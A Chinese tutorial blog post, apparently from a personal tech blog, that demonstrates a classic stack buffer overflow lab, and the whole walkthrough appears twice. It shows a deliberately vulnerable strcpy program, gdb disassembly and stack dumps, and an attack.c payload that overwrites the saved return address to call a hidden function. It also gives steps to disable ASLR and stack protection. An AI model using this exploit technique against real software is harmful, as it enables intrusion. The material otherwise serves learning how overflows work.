- 浏览: 97635 次
- 性别:
- 来自: 北京
文章分类
最新评论
-
malixxx:
这个上传图片真费劲,上传了word文件
arm mini2440的led灯总结 -
huanglei_jay:
...
解决osgi spring 事务配置问题 -
arne3166:
不错,谢谢分享。
MySQL的LAST_INSERT_ID -
darrendu:
你好,protocolBuffer,能根据一个URL直接进行数 ...
protocolBuffer 说明 -
malixxx:
我也没研究了,我们的项目不用这个了,不过可以配置事务就应该可以 ...
解决osgi spring 事务配置问题
缓冲区溢出利用的简单例子
gcc从版本4以后就已经加上了缓冲区溢出攻
击的保护机制(这个以后再讲),所以在gcc的4版本以上进行实验的读者,可以在编译时加上-fno-stack-protector选项来关闭缓冲区溢 -fno-stack-protector这个编译的时候可以不加.
出保护。当然,也可以在更低版本的gcc中实现。
可能每一次gdb调试,分配给程序的虚拟地址空间都不一样,这就给初次做实验的读者构成了很大的不便,可以执行这个
命令echo "0" > /proc/sys/kernel/randomize_va_space
问题如下:
1. ../sysdeps/i386/elf/start.S: No such file or directory.
in ../sysdeps/i386/elf/start.S
是因为在编译时没有加-g 引起,加上后就正常了。
2.在gdb中调试时,变量踪跟
print accum
打印出的值是不正确的(129302998或者是-1749387483),就像我没给它初始化一样,
就算我用print accum=5后,再print accum,也没用的,还是不对,网上查来查去都找不到。
但是我编译出的程序是可以正常运行的,就是gdb 调试不正常,我怀疑是gdb的问题。
先前,我把GCC升级了(4.1.0),而gdb仍然是老版本5.3,所以我下了一个gdb6.6,安装后就正常了。
gdb命令描述
file 装入想要调试的可执行文件.
kill 终止正在调试的程序.
list 列出产生执行文件的源代码的一部分.
next 执行一行源代码但不进入函数内部.
step 执行一行源代码而且进入函数内部.
run 执行当前被调试的程序
quit 终止 gdb
watch 使你能监视一个变量的值而不管它何时被改变.
break 在代码里设置断点, 这将使程序执行到这里时被挂起.
make 使你能不退出 gdb 就可以重新产生可执行文件.
shell 使你能不离开 gdb 就执行 UNIX shell 命令.
利用缓冲区溢出调用bar函数
有个漏洞程序:
#include "stdio.h"
#include "string.h"
void copyout(const char *input){
char buf[10];
strcpy(buf,input);
printf("%s \n",buf);
};
void bar(void){
printf("being hacked\n");
}
int main(int argc,char *argv[]){
copyout(argv[1]);
return 0;
}
利用缓冲区溢出调用bar函数
[dorainm@dorainm lab1]$ vi lab1.c
//编译运行
[dorainm@dorainm lab1]$ gcc lab1.c -o lab1
[dorainm@dorainm lab1]$ ls
lab1 lab1.c
[dorainm@dorainm lab1]$ ./lab1 dorainm
dorainm
[dorainm@dorainm lab1]$
现在我们加入 -ggdb 参数,重新编译,然后用 gdb进行调试
[dorainm@dorainm lab1]$ gcc -g lab1.c -o lab1
[dorainm@dorainm lab1]$ gdb lab1
GNU gdb Red Hat Linux (6.3.0.0-1.122rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disassemble copyout
Dump of assembler code for function copyout:
0x080483e4 <copyout+0>: push %ebp copyout方法的开始位置
0x080483e5 <copyout+1>: mov %esp,%ebp
0x080483e7 <copyout+3>: sub $0x18,%esp
0x080483ea <copyout+6>: mov 0x8(%ebp),%eax
0x080483ed <copyout+9>: mov %eax,0x4(%esp)
0x080483f1 <copyout+13>: lea 0xfffffff6(%ebp),%eax
0x080483f4 <copyout+16>: mov %eax,(%esp)
0x080483f7 <copyout+19>: call 0x8048330 <__gmon_start__@plt+16>
0x080483fc <copyout+24>: lea 0xfffffff6(%ebp),%eax
0x080483ff <copyout+27>: mov %eax,0x4(%esp)
0x08048403 <copyout+31>: movl $0x8048500,(%esp)
0x0804840a <copyout+38>: call 0x8048310
0x0804840f <copyout+43>: leave
0x08048410 <copyout+44>: ret
End of assembler dump.
(gdb) disassemble bar
Dump of assembler code for function bar:
0x08048411 <bar+0>: push %ebp bar方法的开始位置
0x08048412 <bar+1>: mov %esp,%ebp
0x08048414 <bar+3>: sub $0x8,%esp
0x08048417 <bar+6>: movl $0x8048505,(%esp)
0x0804841e <bar+13>: call 0x80482f0
0x08048423 <bar+18>: leave
0x08048424 <bar+19>: ret
End of assembler dump.
(gdb) disassemble main
Dump of assembler code for function main:
0x08048425 <main+0>: lea 0x4(%esp),%ecx
0x08048429 <main+4>: and $0xfffffff0,%esp
0x0804842c <main+7>: pushl 0xfffffffc(%ecx)
0x0804842f <main+10>: push %ebp
0x08048430 <main+11>: mov %esp,%ebp
0x08048432 <main+13>: push %ecx
0x08048433 <main+14>: sub $0x4,%esp
0x08048436 <main+17>: mov 0x4(%ecx),%eax
0x08048439 <main+20>: add $0x4,%eax
0x0804843c <main+23>: mov (%eax),%eax
0x0804843e <main+25>: mov %eax,(%esp)
0x08048441 <main+28>: call 0x80483e4 <copyout>
0x08048446 <main+33>: mov $0x0,%eax
0x0804844b <main+38>: add $0x4,%esp
0x0804844e <main+41>: pop %ecx
0x0804844f <main+42>: pop %ebp
0x08048450 <main+43>: lea 0xfffffffc(%ecx),%esp
0x08048453 <main+46>: ret
End of assembler dump.
(gdb)
gdb返汇编了copyout3,bar,main,个函数,可以获得3个函数的起始地址,比如我们需要跳到的
bar 函数是0x08048411 的位置,我们要设法把 eip 变成这个值,方法可以直接往 copyout里面10个字节大小的缓冲区填充,让它溢出,把返回的 eip 地址覆盖成 0x08048411,就可以完成革命任务了!
我们在 main 函数处设置断点,然后单步跟踪,看看copyout怎么申明内存空间怎么复制的:)
//设置断点
(gdb) break main
Breakpoint 1 at 0x8048425: file lab1.c, line 17.
//运行,参数是7个字符的dorainm
(gdb) run dorainm dorainm为参数
The program being debugged has been started already.
Start it from the beginning? (y or n) y
warning: cannot close "shared object read from target memory": 文件格式错误
Starting program: /home/dorainm/studio/c/exploit/mine/lab1/lab1 dorainm
Reading symbols from shared object read from target memory...done.
Loaded system supplied DSO at 0x323000
Breakpoint 1, main (argc=Cannot access memory at address 0xa2203d7
) at lab1.c:17
17 {
//开始单步跟踪
(gdb) step
main (argc=2, argv=0xbf8a99a4) at lab1.c:18
18 copyout(argv[1]);
//现在我们在main函数里面,argc值是2,main函数的行参在esp入栈后,然后call主函数main的,我们查看寄存器状态可以看到
(gdb) i r
eax 0xbf8a99a4 -1081435740
ecx 0xbf8a9920 -1081435872
edx 0x2 2
ebx 0x9edff4 10412020
esp 0xbf8a9900 0xbf8a9900
ebp 0xbf8a9908 0xbf8a9908
esi 0x8b7cc0 9141440
edi 0x0 0
eip 0x8048436 0x8048436
//main函数中的0x08048436 <main+17>: mov 0x4(%ecx),%eax
eflags 0x200286 2097798
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
//进入copyout之后
//0x08048441 <main+28>: call 0x80483e4 <copyout>
(gdb) step
copyout (input=0xbf8ab97a "dorainm") at lab1.c:7
7 strcpy(buf,input);
//看看寄存器的变化
(gdb) i r
eax 0xbf8ab97a -1081427590
ecx 0xbf8a9920 -1081435872
edx 0x2 2
ebx 0x9edff4 10412020
esp 0xbf8a98e0 0xbf8a98e0
//另一个要关心的就是 esp了,我们看看copyout的ret返回main函数下一条指令的0x08048446 <main+33>: mov $0x0,%eax的eip值,
0x08048446 在栈中的位置,我们在下一步查看esp上下的内存单位
寄存器EBP、ESP、BP和SP称为指针寄存器(Pointer Register),
主要用于存放堆栈内存储单元的偏移量,用它们可实现多种存储器操作数的寻址方式,为以不同的地址形式访问存储单元提供方便。
ebp 0xbf8a98f8 0xbf8a98f8
esi 0x8b7cc0 9141440
edi 0x0 0
eip 0x80483ea 0x80483ea
//变成了copyout里面的0x080483ea <copyout+6>: mov 0x8(%ebp),%eax
指令指针EIP、IP(Instruction Pointer)是存放下次将要执行的指令在代码段的偏移量。
在具有预取指令功能的系统中,下次要执行的指令通常已被预取到指令队列中,除非发生转移情况。所以,在理解它们的功能时,不考虑存在指令队列的情况。
eflags 0x200282 2097794
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
---------------------------
检查内存值
x /NFU ADDR
---------------------------
N代表重复数
---------------------------
U
b :字节(byte)
h :双字节数值
w :四字节数值
g :八字节数值
---------------------------
F
'x' 16进制整数格式
'd' 有符号十进制整数格式
'u' 无符号十进制整数格式
'f' 浮点数格式
---------------------------
(gdb) x/50x 0xbf8a98a0 从0xbf8a98a0开始显示重复50个 x为16进制
0xbf8a98a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbf8a98b0: 0x00000000 0x0177ff8e 0x00000000 0x00000000
0xbf8a98c0: 0x00000000 0x00000000 0x00000001 0x00000000
0xbf8a98d0: 0x00000000 0x00000000 0xbf8ab94c 0x08048370
//这儿就是栈顶了
0xbf8a98e0: 0x009edff4 0x080495f8 0xbf8a98f8 0x080482dd
0xbf8a98f0: 0x009eec80 0xbf8a99b0 0xbf8a9908 0x08048446
//上排最后一个,就是栈中保存着eip的位置,我们要覆盖到这个地址!
0xbf8a9900: 0xbf8ab97a 0xbf8a9920 0xbf8a9978 0x008d47e4
0xbf8a9910: 0x008b7cc0 0x0804845c 0xbf8a9978 0x008d47e4
0xbf8a9920: 0x00000002 0xbf8a99a4 0xbf8a99b0 0x008ab5bb
0xbf8a9930: 0x00000000 0xb7fac690 0x00000001 0x00000001
0xbf8a9940: 0x009edff4 0x008b7cc0 0x00000000 0xbf8a9978
0xbf8a9950: 0xb525dd5e 0x0a2203d7 0x00000000 0x00000000
0xbf8a9960: 0x00000000 0x008b09e0
//执行了strcpy,我们可以看到,dorianm被复制到的栈中的位置
(gdb) step 单步进到copyout方法中
8 printf("%s \n",buf);
(gdb) x/50x 0xbf8a98a0
0xbf8a98a0: 0x00000000 0x0804822a 0x00000000 0x08049614
0xbf8a98b0: 0x008c26d4 0x009edff4 0x008b7cc0 0x00000000
0xbf8a98c0: 0xbf8a98f8 0x008b09e0 0x00000002 0xbf8a9920
0xbf8a98d0: 0x00928b10 0x008b7cc0 0xbf8a98f8 0x080483fc
0xbf8a98e0: 0xbf8a98ee 0xbf8ab97a 0xbf8a98f8 0x6f6482dd
od dorainm输入的参数
0xbf8a98f0: 0x6e696172 0xbf8a006d 0xbf8a9908 0x08048446
niar m ebp eip
main方法中的
0x08048441 <main+28>: call 0x80483e4 <copyout>
0x08048446 <main+33>: mov $0x0,%eax
//dorainm被复制到栈的位置是这样子的,可以看出
//0xbf8a98ee-0xbf8a98f8 10个内存单元是char buf[10],接下来是保护现场入栈的ebp和eip
0xbf8a9900: 0xbf8ab97a 0xbf8a9920 0xbf8a9978 0x008d47e4
0xbf8a9910: 0x008b7cc0 0x0804845c 0xbf8a9978 0x008d47e4
0xbf8a9920: 0x00000002 0xbf8a99a4 0xbf8a99b0 0x008ab5bb
0xbf8a9930: 0x00000000 0xb7fac690 0x00000001 0x00000001
0xbf8a9940: 0x009edff4 0x008b7cc0 0x00000000 0xbf8a9978
0xbf8a9950: 0xb525dd5e 0x0a2203d7 0x00000000 0x00000000
0xbf8a9960: 0x00000000 0x008b09e0
//我们要自己构建一个19大小的字符串(最后一个单元为0,不然printf打印字符串的时候,不知道会在哪地方结束:),其中最后4位是 bar的入口eip,这样子,在copyout结束时,ret,pop eip,bar的地址就会写到eip中,程序就会运行bar函数了
//我们退出调试,编写攻击代码
(gdb)quit
[dorainm@dorainm lab1]$ vi attack.c
#include "stdio.h"
char code[]=
"\x41\x41\x41\x41\x41" /*buf, fill with 'A'*/
"\x41\x41\x41\x41\x41"
"\x42\x42\x42\x42" /*ebp, fill with 'B'*/
"\x11\x84\x04\x08" /*eip*/ 先写低位
"\x00"; /*end*/
int main(void)
{
char *arg[3];
arg[0]="./lab1";
arg[1]=code;
arg[2]=NULL;
execve(arg[0],arg,NULL);
return 0;
}
//然后编译程序
[dorainm@dorainm lab1]$ gcc attack.c -o attack
//运行攻击程序
[dorainm@dorainm lab1]$ ./attack
AAAAAAAAAABBBB
being hacked
段错误
//okay,攻击成功,执行了bar当中的代码(显示了being hacked)
//段错误的原因是,调用bar函数时候,没有保存其父函数的现场,所以没法恢复,程序在完成bar函数后,就不知道要去哪,所以出错:)
[dorainm@dorainm lab1]$
//结束,完成任
gcc从版本4以后就已经加上了缓冲区溢出攻
击的保护机制(这个以后再讲),所以在gcc的4版本以上进行实验的读者,可以在编译时加上-fno-stack-protector选项来关闭缓冲区溢 -fno-stack-protector这个编译的时候可以不加.
出保护。当然,也可以在更低版本的gcc中实现。
可能每一次gdb调试,分配给程序的虚拟地址空间都不一样,这就给初次做实验的读者构成了很大的不便,可以执行这个
命令echo "0" > /proc/sys/kernel/randomize_va_space
问题如下:
1. ../sysdeps/i386/elf/start.S: No such file or directory.
in ../sysdeps/i386/elf/start.S
是因为在编译时没有加-g 引起,加上后就正常了。
2.在gdb中调试时,变量踪跟
print accum
打印出的值是不正确的(129302998或者是-1749387483),就像我没给它初始化一样,
就算我用print accum=5后,再print accum,也没用的,还是不对,网上查来查去都找不到。
但是我编译出的程序是可以正常运行的,就是gdb 调试不正常,我怀疑是gdb的问题。
先前,我把GCC升级了(4.1.0),而gdb仍然是老版本5.3,所以我下了一个gdb6.6,安装后就正常了。
gdb命令描述
file 装入想要调试的可执行文件.
kill 终止正在调试的程序.
list 列出产生执行文件的源代码的一部分.
next 执行一行源代码但不进入函数内部.
step 执行一行源代码而且进入函数内部.
run 执行当前被调试的程序
quit 终止 gdb
watch 使你能监视一个变量的值而不管它何时被改变.
break 在代码里设置断点, 这将使程序执行到这里时被挂起.
make 使你能不退出 gdb 就可以重新产生可执行文件.
shell 使你能不离开 gdb 就执行 UNIX shell 命令.
利用缓冲区溢出调用bar函数
有个漏洞程序:
#include "stdio.h"
#include "string.h"
void copyout(const char *input){
char buf[10];
strcpy(buf,input);
printf("%s \n",buf);
};
void bar(void){
printf("being hacked\n");
}
int main(int argc,char *argv[]){
copyout(argv[1]);
return 0;
}
利用缓冲区溢出调用bar函数
[dorainm@dorainm lab1]$ vi lab1.c
//编译运行
[dorainm@dorainm lab1]$ gcc lab1.c -o lab1
[dorainm@dorainm lab1]$ ls
lab1 lab1.c
[dorainm@dorainm lab1]$ ./lab1 dorainm
dorainm
[dorainm@dorainm lab1]$
现在我们加入 -ggdb 参数,重新编译,然后用 gdb进行调试
[dorainm@dorainm lab1]$ gcc -g lab1.c -o lab1
[dorainm@dorainm lab1]$ gdb lab1
GNU gdb Red Hat Linux (6.3.0.0-1.122rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disassemble copyout
Dump of assembler code for function copyout:
0x080483e4 <copyout+0>: push %ebp copyout方法的开始位置
0x080483e5 <copyout+1>: mov %esp,%ebp
0x080483e7 <copyout+3>: sub $0x18,%esp
0x080483ea <copyout+6>: mov 0x8(%ebp),%eax
0x080483ed <copyout+9>: mov %eax,0x4(%esp)
0x080483f1 <copyout+13>: lea 0xfffffff6(%ebp),%eax
0x080483f4 <copyout+16>: mov %eax,(%esp)
0x080483f7 <copyout+19>: call 0x8048330 <__gmon_start__@plt+16>
0x080483fc <copyout+24>: lea 0xfffffff6(%ebp),%eax
0x080483ff <copyout+27>: mov %eax,0x4(%esp)
0x08048403 <copyout+31>: movl $0x8048500,(%esp)
0x0804840a <copyout+38>: call 0x8048310
0x0804840f <copyout+43>: leave
0x08048410 <copyout+44>: ret
End of assembler dump.
(gdb) disassemble bar
Dump of assembler code for function bar:
0x08048411 <bar+0>: push %ebp bar方法的开始位置
0x08048412 <bar+1>: mov %esp,%ebp
0x08048414 <bar+3>: sub $0x8,%esp
0x08048417 <bar+6>: movl $0x8048505,(%esp)
0x0804841e <bar+13>: call 0x80482f0
0x08048423 <bar+18>: leave
0x08048424 <bar+19>: ret
End of assembler dump.
(gdb) disassemble main
Dump of assembler code for function main:
0x08048425 <main+0>: lea 0x4(%esp),%ecx
0x08048429 <main+4>: and $0xfffffff0,%esp
0x0804842c <main+7>: pushl 0xfffffffc(%ecx)
0x0804842f <main+10>: push %ebp
0x08048430 <main+11>: mov %esp,%ebp
0x08048432 <main+13>: push %ecx
0x08048433 <main+14>: sub $0x4,%esp
0x08048436 <main+17>: mov 0x4(%ecx),%eax
0x08048439 <main+20>: add $0x4,%eax
0x0804843c <main+23>: mov (%eax),%eax
0x0804843e <main+25>: mov %eax,(%esp)
0x08048441 <main+28>: call 0x80483e4 <copyout>
0x08048446 <main+33>: mov $0x0,%eax
0x0804844b <main+38>: add $0x4,%esp
0x0804844e <main+41>: pop %ecx
0x0804844f <main+42>: pop %ebp
0x08048450 <main+43>: lea 0xfffffffc(%ecx),%esp
0x08048453 <main+46>: ret
End of assembler dump.
(gdb)
gdb返汇编了copyout3,bar,main,个函数,可以获得3个函数的起始地址,比如我们需要跳到的
bar 函数是0x08048411 的位置,我们要设法把 eip 变成这个值,方法可以直接往 copyout里面10个字节大小的缓冲区填充,让它溢出,把返回的 eip 地址覆盖成 0x08048411,就可以完成革命任务了!
我们在 main 函数处设置断点,然后单步跟踪,看看copyout怎么申明内存空间怎么复制的:)
//设置断点
(gdb) break main
Breakpoint 1 at 0x8048425: file lab1.c, line 17.
//运行,参数是7个字符的dorainm
(gdb) run dorainm dorainm为参数
The program being debugged has been started already.
Start it from the beginning? (y or n) y
warning: cannot close "shared object read from target memory": 文件格式错误
Starting program: /home/dorainm/studio/c/exploit/mine/lab1/lab1 dorainm
Reading symbols from shared object read from target memory...done.
Loaded system supplied DSO at 0x323000
Breakpoint 1, main (argc=Cannot access memory at address 0xa2203d7
) at lab1.c:17
17 {
//开始单步跟踪
(gdb) step
main (argc=2, argv=0xbf8a99a4) at lab1.c:18
18 copyout(argv[1]);
//现在我们在main函数里面,argc值是2,main函数的行参在esp入栈后,然后call主函数main的,我们查看寄存器状态可以看到
(gdb) i r
eax 0xbf8a99a4 -1081435740
ecx 0xbf8a9920 -1081435872
edx 0x2 2
ebx 0x9edff4 10412020
esp 0xbf8a9900 0xbf8a9900
ebp 0xbf8a9908 0xbf8a9908
esi 0x8b7cc0 9141440
edi 0x0 0
eip 0x8048436 0x8048436
//main函数中的0x08048436 <main+17>: mov 0x4(%ecx),%eax
eflags 0x200286 2097798
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
//进入copyout之后
//0x08048441 <main+28>: call 0x80483e4 <copyout>
(gdb) step
copyout (input=0xbf8ab97a "dorainm") at lab1.c:7
7 strcpy(buf,input);
//看看寄存器的变化
(gdb) i r
eax 0xbf8ab97a -1081427590
ecx 0xbf8a9920 -1081435872
edx 0x2 2
ebx 0x9edff4 10412020
esp 0xbf8a98e0 0xbf8a98e0
//另一个要关心的就是 esp了,我们看看copyout的ret返回main函数下一条指令的0x08048446 <main+33>: mov $0x0,%eax的eip值,
0x08048446 在栈中的位置,我们在下一步查看esp上下的内存单位
寄存器EBP、ESP、BP和SP称为指针寄存器(Pointer Register),
主要用于存放堆栈内存储单元的偏移量,用它们可实现多种存储器操作数的寻址方式,为以不同的地址形式访问存储单元提供方便。
ebp 0xbf8a98f8 0xbf8a98f8
esi 0x8b7cc0 9141440
edi 0x0 0
eip 0x80483ea 0x80483ea
//变成了copyout里面的0x080483ea <copyout+6>: mov 0x8(%ebp),%eax
指令指针EIP、IP(Instruction Pointer)是存放下次将要执行的指令在代码段的偏移量。
在具有预取指令功能的系统中,下次要执行的指令通常已被预取到指令队列中,除非发生转移情况。所以,在理解它们的功能时,不考虑存在指令队列的情况。
eflags 0x200282 2097794
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
---------------------------
检查内存值
x /NFU ADDR
---------------------------
N代表重复数
---------------------------
U
b :字节(byte)
h :双字节数值
w :四字节数值
g :八字节数值
---------------------------
F
'x' 16进制整数格式
'd' 有符号十进制整数格式
'u' 无符号十进制整数格式
'f' 浮点数格式
---------------------------
(gdb) x/50x 0xbf8a98a0 从0xbf8a98a0开始显示重复50个 x为16进制
0xbf8a98a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbf8a98b0: 0x00000000 0x0177ff8e 0x00000000 0x00000000
0xbf8a98c0: 0x00000000 0x00000000 0x00000001 0x00000000
0xbf8a98d0: 0x00000000 0x00000000 0xbf8ab94c 0x08048370
//这儿就是栈顶了
0xbf8a98e0: 0x009edff4 0x080495f8 0xbf8a98f8 0x080482dd
0xbf8a98f0: 0x009eec80 0xbf8a99b0 0xbf8a9908 0x08048446
//上排最后一个,就是栈中保存着eip的位置,我们要覆盖到这个地址!
0xbf8a9900: 0xbf8ab97a 0xbf8a9920 0xbf8a9978 0x008d47e4
0xbf8a9910: 0x008b7cc0 0x0804845c 0xbf8a9978 0x008d47e4
0xbf8a9920: 0x00000002 0xbf8a99a4 0xbf8a99b0 0x008ab5bb
0xbf8a9930: 0x00000000 0xb7fac690 0x00000001 0x00000001
0xbf8a9940: 0x009edff4 0x008b7cc0 0x00000000 0xbf8a9978
0xbf8a9950: 0xb525dd5e 0x0a2203d7 0x00000000 0x00000000
0xbf8a9960: 0x00000000 0x008b09e0
//执行了strcpy,我们可以看到,dorianm被复制到的栈中的位置
(gdb) step 单步进到copyout方法中
8 printf("%s \n",buf);
(gdb) x/50x 0xbf8a98a0
0xbf8a98a0: 0x00000000 0x0804822a 0x00000000 0x08049614
0xbf8a98b0: 0x008c26d4 0x009edff4 0x008b7cc0 0x00000000
0xbf8a98c0: 0xbf8a98f8 0x008b09e0 0x00000002 0xbf8a9920
0xbf8a98d0: 0x00928b10 0x008b7cc0 0xbf8a98f8 0x080483fc
0xbf8a98e0: 0xbf8a98ee 0xbf8ab97a 0xbf8a98f8 0x6f6482dd
od dorainm输入的参数
0xbf8a98f0: 0x6e696172 0xbf8a006d 0xbf8a9908 0x08048446
niar m ebp eip
main方法中的
0x08048441 <main+28>: call 0x80483e4 <copyout>
0x08048446 <main+33>: mov $0x0,%eax
//dorainm被复制到栈的位置是这样子的,可以看出
//0xbf8a98ee-0xbf8a98f8 10个内存单元是char buf[10],接下来是保护现场入栈的ebp和eip
0xbf8a9900: 0xbf8ab97a 0xbf8a9920 0xbf8a9978 0x008d47e4
0xbf8a9910: 0x008b7cc0 0x0804845c 0xbf8a9978 0x008d47e4
0xbf8a9920: 0x00000002 0xbf8a99a4 0xbf8a99b0 0x008ab5bb
0xbf8a9930: 0x00000000 0xb7fac690 0x00000001 0x00000001
0xbf8a9940: 0x009edff4 0x008b7cc0 0x00000000 0xbf8a9978
0xbf8a9950: 0xb525dd5e 0x0a2203d7 0x00000000 0x00000000
0xbf8a9960: 0x00000000 0x008b09e0
//我们要自己构建一个19大小的字符串(最后一个单元为0,不然printf打印字符串的时候,不知道会在哪地方结束:),其中最后4位是 bar的入口eip,这样子,在copyout结束时,ret,pop eip,bar的地址就会写到eip中,程序就会运行bar函数了
//我们退出调试,编写攻击代码
(gdb)quit
[dorainm@dorainm lab1]$ vi attack.c
#include "stdio.h"
char code[]=
"\x41\x41\x41\x41\x41" /*buf, fill with 'A'*/
"\x41\x41\x41\x41\x41"
"\x42\x42\x42\x42" /*ebp, fill with 'B'*/
"\x11\x84\x04\x08" /*eip*/ 先写低位
"\x00"; /*end*/
int main(void)
{
char *arg[3];
arg[0]="./lab1";
arg[1]=code;
arg[2]=NULL;
execve(arg[0],arg,NULL);
return 0;
}
//然后编译程序
[dorainm@dorainm lab1]$ gcc attack.c -o attack
//运行攻击程序
[dorainm@dorainm lab1]$ ./attack
AAAAAAAAAABBBB
being hacked
段错误
//okay,攻击成功,执行了bar当中的代码(显示了being hacked)
//段错误的原因是,调用bar函数时候,没有保存其父函数的现场,所以没法恢复,程序在完成bar函数后,就不知道要去哪,所以出错:)
[dorainm@dorainm lab1]$
//结束,完成任
发表评论
-
vmstat命令详解
2009-08-27 13:44 1237vmstat 是用来实时查看内存使用情况,反映的情况比用top ... -
top命令详解
2009-08-27 13:43 1055在系统维护的过程中,随时可能有需要查看 CPU 使用率,并根据 ... -
用GDB调试程序
2009-08-27 13:42 889用GDB调试程序 ubuntu安装命令 apt-get in ... -
缓冲区溢出系列一之从内存窥视缓冲区溢出攻击的机理
2009-08-27 13:41 1125缓冲区溢出系列一之从 ... -
缓冲区溢出系列二之缓冲区溢出实例详解
2009-08-27 13:40 2114缓冲区溢出系列二之缓冲区溢出实例详解 ... -
简单的arp攻击
2009-08-19 10:39 1033由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞 ... -
简单的icmp攻击
2009-08-19 10:32 1582由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞 ... -
简单的sync(tcp)攻击
2009-08-19 10:31 1618由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞 ... -
简单的udp攻击
2009-08-19 10:31 1117由于本人很菜,这个代码是改别人的.呵呵.可以在公司的局域网里搞 ... -
简单的嗅探
2009-08-19 10:30 885简单的嗅探 收藏 由于本人很菜,这个代码是改别人的.呵呵.可 ...
相关推荐
本书定位于初学缓冲区溢出利用的读者;并照顾想学习缓冲区溢出技术的朋友。 本书的目的是用幽默的语言和通俗的解释,对 Windows 缓冲区溢出编程的思路和思维进行详细分析; 并用大量实例对溢出的实际利用进行一次又...
本书定位于初学缓冲区溢出利用的读者;并照顾想学习缓冲区溢出技术的朋友。 本书的目的是用幽默的语言和通俗的解释,对Windows缓冲区溢出编程的思路和思维进行详细分析;并用大量实例对溢出的实际利用进行一次又一次...
1.5 窥豹一斑――本地缓冲区溢出简单利用 21 1.6 小结——摘自小强的日记 28 1.7 首次实战――FoxMail溢出漏洞编写 29 1.8 牛刀小试――Printer溢出漏洞编写 41 1.9 JMP /CALL EBX——另一种溢出利用方式 42 1.10 拾...
本书定位于初学缓冲区溢出利用的读者;并照顾想学习缓冲区溢出技术的朋友。 本书的目的是用幽默的语言和通俗的解释,对Windows缓冲区溢出编程的思路和思维进行详细分析;并用大量实例对溢出的实际利用进行一次又...
缓冲区溢出是安全论坛上最常见的问题,包括堆栈缓冲区的利用思想,ShellCode的初步编写、变形、高级利用,以及堆溢出的利用,漏洞的亲自分析等。当然,每个部分都有大量的实例,让大家实际操作,学以致用。 后一章都...
本书定位于初学缓冲区溢出利用的读者;并照顾想学习缓冲区溢出技术的朋友。 本书的目的是用幽默的语言和通俗的解释,对 Windows 缓冲区溢出编程的思路和思维进行详细分析; 并用大量实例对溢出的实际利用进行一次又一次...
以下我将用一个具体的简单例子,详细分析漏洞的发现挖掘、调试以及exploit编写利用,这里选择'War-FTPdvl.65' 的一个stack缓冲区溢出漏洞。 首先,需要准备以下实战工具: python - www.python.org pyOpenSSL - ...
本文主要以《深入理解计算机》3.38题为例,详细地介绍了该题目的解题过程,主要目的是利用程序缓冲区溢出以达到改变程序的输出(攻击程序)。 要解决这类题目,需要对过程调用的栈帧变化、指令的作用有较深入的了解...
本书定位于初学缓冲区溢出利用的读者;并照顾想学习缓冲区溢出技术的朋友。本书的目的是用幽默的语言和通俗的解释,对Windows缓冲区溢出编程的思路和思维进行详细分析;并用大量实例对溢出的实际利用进行一次又一次...
1.5 窥豹一斑――本地缓冲区溢出简单利用 21 1.6 小结——摘自小强的日记 28 1.7 首次实战――FoxMail溢出漏洞编写 29 1.8 牛刀小试――Printer溢出漏洞编写 41 1.9 JMP /CALL EBX——另一种溢出利用方式 42 1.10 拾...
缓冲区溢出漏洞一直是计算机安全威胁中最为严重的漏洞之一,在黑客发现利用前检测出漏洞并及时修复极为重要;基于多维Fuzzing设计和实现了一种缓冲区溢出漏洞挖掘模型MFBOF,应用输入样本结构知识、结合静态二进制...
首先介绍了各种调试器和分析工具的简单使用,然后从各种操作系统的体系结构讲起,深入浅出地分析了相应平台的缓冲区溢出利用技术,接着介绍其高级shellcode技术,以及更深入的堆溢出利用技术等。除了用户层的利用...
简 介在过去的几个月中,被发现和利用的缓冲区溢出漏洞呈现上升趋势.例如syslog,splitvt,sendmail8.7.5,Linux/FreeBSDmount,Xtlibrary,at等等.本文试图解释什么是缓冲区溢出,以及如何利用.汇编的基础知识是必需的.对...
分析了黑客利用软件的缓冲区溢出漏洞如何进行攻击及堆栈卫士的防范机制,提出了两个目前堆栈卫士无法解决的缓冲区溢出攻击方式,并给出具体例子分析无法解决的原因。
第2章 缓冲区溢出利用技术 第3章 Shellcode技术 第4章 堆溢出利用技术 第5章 格式化串漏洞利用技术 第6章 内核溢出利用技术 第7章 其他利用技术 第8章 系统漏洞发掘分析 第9章 CGI渗透测试技术 第10章 SQL注入利用...
第2章 缓冲区溢出利用技术 第3章 Shellcode技术 第4章 堆溢出利用技术 第5章 格式化串漏洞利用技术 第6章 内核溢出利用技术 第7章 其他利用技术 第8章 系统漏洞发掘分析 第9章 CGI渗透测试技术 第10章 SQL注入利用...
第2章 缓冲区溢出利用技术 第3章 Shellcode技术 第4章 堆溢出利用技术 第5章 格式化串漏洞利用技术 第6章 内核溢出利用技术 第7章 其他利用技术 第8章 系统漏洞发掘分析 第9章 CGI渗透测试技术 第10章 SQL注入利用...